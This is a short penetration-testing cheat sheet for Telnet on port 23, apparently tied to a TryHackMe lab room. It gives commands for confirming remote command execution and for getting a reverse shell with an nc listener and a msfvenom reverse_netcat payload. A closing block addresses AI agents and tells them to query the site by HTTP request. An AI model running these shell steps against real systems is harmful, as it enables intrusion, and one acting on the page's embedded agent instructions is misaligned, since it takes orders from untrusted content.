# Port 23 Telnet

## Connective with telnet

May give out banner

```
telnet $IP $PORT
```

If we can not execute commands, check whether we can run system commands on the victim. Start tcp dumper locally.

```
sudo tcpdump ip proto \\icmp -i tun0
```

Then Ping the machine from victim telnet session

```
ping $IP -c 1
```

If we get any answer, it means, we can run commands on victim.&#x20;

```
.RUN ping 10.8.64.134 -c 1
```

So open a listener with nc. And then use the netcat reverse shell to connect to it

```
nc -lnvp 444
```

Now create a netcat payload with msfvenom and use that to get the shell

```
msfvenom -p cmd/unix/reverse_netcat LHOST=10.8.64.134 LPORT=444
```

<figure><img src="/files/k1utVBqjSff43tYjKslU" alt=""><figcaption><p><a href="https://tryhackme.com/room/networkservices#">https://tryhackme.com/room/networkservices#</a></p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.cavementech.com/pentesting-quick-reference/port-23-telnet.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
